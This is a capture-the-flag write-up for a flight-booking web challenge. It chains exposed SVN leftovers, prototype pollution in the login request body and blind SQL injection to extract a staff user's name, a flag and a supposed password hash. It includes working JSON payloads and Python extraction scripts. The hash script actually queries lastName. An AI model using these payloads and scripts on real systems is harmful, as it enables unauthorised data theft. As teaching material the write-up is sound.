The starting point for this challenge is a flight-booking website. The goal is to book a particular flight from VNE to CTF on May 21. The catch is that apparently there are no seats available on that flight. π
When visiting the site and trying to book the flight, a message appears: This flight is no longer available to regular passengers!. This is a first hint to the fact that there seem to be regular and non-regular passengers.
π
- How to become/impersonate/.. a non-regular passenger?
- Ways to increase the number of available seats?
The site consists of four pages (booking, tickets, login, registration) and a chatbot. According to the discord-channel the chatbot is not in the scope of this challenge.
- The user registers
- The user logs in
- The user selects a flight/date from the drop-down menu
- If there are enough seats available, the flight can be booked
- After booking a flight, a barcode and comment for the booked flights are shown at the flights page
- After logging in, a header
Authorization
is sent with all requests, containing a JWT - One can create arbitrary departure / destination airports when directly interacting with the API
The authors of the challenge left a little note in the JWT
Note: Between these two steps are several hours of me trying to find a foothold. I tried SQLi on every field available, prototype-pollution, decoding the barcodes, looking through the client-side sources and - yes - messing with the JWT which turned out to be signed with a strong passphrase. The fact that some other contestant registered an account admin/admin
(which of course did not have any priviliges) didn't help either ... π€¬
While scrolling through discord, I found that for this challenge one should not hesitate to dirb/dirbuster/gobuster the site and api (thx to @k1ng_pr4wn).
With dirb
in standard mode we find a file https://norzh-flight.fr/.svn/entries
. These are leftovers of SVN that should not be on a 'prodution' server.
$ dirb https://norzh-flight.fr/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sun May 23 11:52:35 2021
URL_BASE: https://norzh-flight.fr/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: https://norzh-flight.fr/ ----
+ https://norzh-flight.fr/.svn/entries (CODE:200|SIZE:3)
Note that the file is only 3 bytes in size, and does not really contain any useful information:
$ curl https://norzh-flight.fr/.svn/entries
12
However, SVN seems to basically keep a SQLite
database with the hashes of all files in a repository in .svn/wc.db
. With those hashes it is possible to also extract the files themselves from the .svn/
directory! π
Basically, extracting the files is about retrieving the File-Hash from the DB and generating the corresponding URL. (See https://www.sans.org/blog/all-your-svn-are-belong-to-us/ more information on how to manually extract SVN leftovers)
Unfortunately, none of the tools/exploits to automate this process worked for me π. So I decided to fix one of them: anantshri/svn-extractor. See gist for the hacky fix, PR is on its way.
With the fixed script, the hole pristine
Version of the repository can be downloaded with a simple
$ python3 svn_extractor.py --url https://norzh-flight.fr
The leftovers of SVN the backend-sources contain the backend-sources!
The backend code did unfortunately not contain any credentials or JWT-passphrases. While looking around I found a SQL-Injection possibility in UserRepository.ts
, specifically in the function authenticateUser(options)
.
Basically, if one could control the parameter staffOnly
it would be possible to inject something into the statement:
SELECT * FROM user WHERE username = ? AND passwordHash = ? AND staff =
The function in question, authenticateUser
, is called when logging in (endpoint /login
):
Luckily, an exploitable copy-function copyTo
is used to copy the request.body
to a js-object just before the call to authenticateUser
. The use of this specific copy function (listed below) allows for prototype pollution. Without going into further detail, prototype pollution generally allows an attacker to set unset variables of objects in JS. For more information on protorype pollution, I suggest to visit https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution
Putting it all together:
The property staffOnly
in funtion authenticateUser
is not set by the calling function. We can set this property with our request payload (i.e. request.body
) by usage of prototype pollution. This allows an attacker to perform a SQL-Injection of the SELECT
statement line 24, file UserRepository.ts
.
Thus, sending the follwing request-payload via POST
to https://api.norzh-flight.fr/login
...
{
"username":"testman",
"password":"betUwish",
"__proto__":{
"__proto__":{
"staffOnly":"$MALICIOUS CODE"
}
}
}
... results in the following SELECT
-Statement. The request has set the staffOnly
-property of every* object, including the options
object, to $MALICIOUS CODE
:
SELECT * FROM user WHERE username = ? AND passwordHash = ? AND staff = $MALICIOUS CODE
Due to the arrangement of the SELECT
-Statement and application logic, I was not able to directly leak data from the db.
Nonetheless, it is possible to use blind SQL-Injection to leak data. In a few words, with blind SQLi, an attacker not sees the direct result of a query (e.g. all bookings), but can obtain the data through the behaviour of the query (e.g. how long does it take? Does it return a result or not?). For more information on blind SQLi I recommend this video by @JohnHammond
First of all, I wanted to see if there is an user, that has the staff
property set. In order to do so, I registered an user to log in with. Then I issued a POST
-Request to https://api.norzh-flight.fr/login
with the following payload:
{
"username":"testman",
"password":"betUwish",
"__proto__":{
"__proto__":{
"staffOnly":"false and (select count(*) from user where staff=1) > 1;"
}
}
}
A HTTP-Code 200
is returned. This means, that the inner statement (select count(*) from user where staff=1) > 0;
has evaluated to true. If there would not have been a least one user with the staff
flag set, the response would be a 500 - Authentication failure
.
Note0: for all the exploits, a registered user is neccessary!
Note1: Whenever possible, I would highly recommend to set up the backend locally so you can actually see the resulting queries and/or try them on your local db first!
Note2: What I got to know after the CTF: One could also use a SELECT UNION statement to generate a valid token for user testman
...
Leaking the username Using the same method, an attacker can try if the first, second, third, ... character of the username matches a,b,c,d....
Knowing that there is at least one user with the property staff=1
, the following exploit will extact the username.
Note: It is not neccessary to leak the user-name in order to find the flag, the user-id is sufficient in this case!
import string
import requests
url = "https://api.norzh-flight.fr/login"
leaked_user = list("")
while True:
for char in string.printable:
length = len(leaked_user) + 1
user = "".join(leaked_user) + char
print(f"USER: {user}", end="\r")
payload = {
"username": "testman",
"password": "betUwish",
"__proto__": {
"__proto__": {
"staffOnly": f"false and strcmp((select left(username, {length}) from user where staff=1), '{user}') = 0;"
}
},
}
r = requests.post(url, json=payload)
if r.status_code == 200:
leaked_user.append(char)
print(f"USER: {user}", end="\r")
break
Running the script reveals the user name frank.abagnale
π
Leaking the user-id
After further digging around and extracting the password-hash without any luck of cracking it, I figured that leaking the comment
-section of the flight from the booking table might reveal. To extract any flights for a user from the booking-table, the id
of that user is needed (foreign-key).
To be true, I got lucky by guessing id=1
. However, this could have also be brute-forced...
POST
-Request to https://api.norzh-flight.fr/login
to ensure the flag is in the comments (Returns 200
meaning frank.abagnale
has id=1
):
{
"username":"testman",
"password":"betUwish",
"__proto__":{
"__proto__":{
"staffOnly":"false and (select id from user where username='frank.abagnale') = 1;"
}
}
}
Leaking the flag
Now that the id
for a staff=1
user was revealed, I worte a short PoC to check that the flag actually is in the comments of a flight of frank.abagnale
.
POST
-Request to https://api.norzh-flight.fr/login
to ensure the flag is in the comments (Returns 200
confirming the flag is in one of the comments):
{
"username":"testman",
"password":"betUwish",
"__proto__":{
"__proto__":{
"staffOnly":"false and (select count(*) from booking where userId=1 AND left(comments, 5) = 'NORZH') > 0;"
}
}
}
Exploit to leak the flag (Note the select binary
to ensure case-sensitivity):
import string
import requests
url = "https://api.norzh-flight.fr/login"
leaked_flag = list("")
while True:
length = len(leaked_flag) + 1
for char in string.printable:
flag = "".join(leaked_flag) + char
print(f"--FLAG: {flag}", end="\r")
payload = {
"username": "testman",
"password": "betUwish",
"__proto__": {
"__proto__": {
"staffOnly": f"false and strcmp(binary (select left(comments, {length}) from booking where userId=1 and left(comments, 5) ='NORZH' limit 1), '{flag}') = 0;"
}
},
}
r = requests.post(url, json=payload)
if r.status_code == 200:
leaked_flag.append(char)
print(f"--FLAG: {flag}", end="\r")
break
Running the folling script reveals the password-hash of the given user (SHA512). The password-hash of frank.abagnale
however was not found by crackstation so this looked like a dead end to me ...
import string
import requests
url = "https://api.norzh-flight.fr/login"
leaked_hash = list("")
while True:
length = len(leaked_hash) + 1
for char in string.printable:
hash = "".join(leaked_hash) + char
print(f"--HASH: {hash}", end="\r")
payload = {
"username":"testman",
"password":"betUwish",
"__proto__":{
"__proto__":{
"staffOnly": f"false and strcmp((select left(lastName, {length}) from user where username='frank.abagnale'), '{hash}') = 0;"
}
}
}
r = requests.post(url, json=payload)
if(r.status_code == 200):
leaked_hash.append(char)
print(f"--HASH {hash}", end="\r")
break
Nice writeup but how did you know there was a userID column in the booking table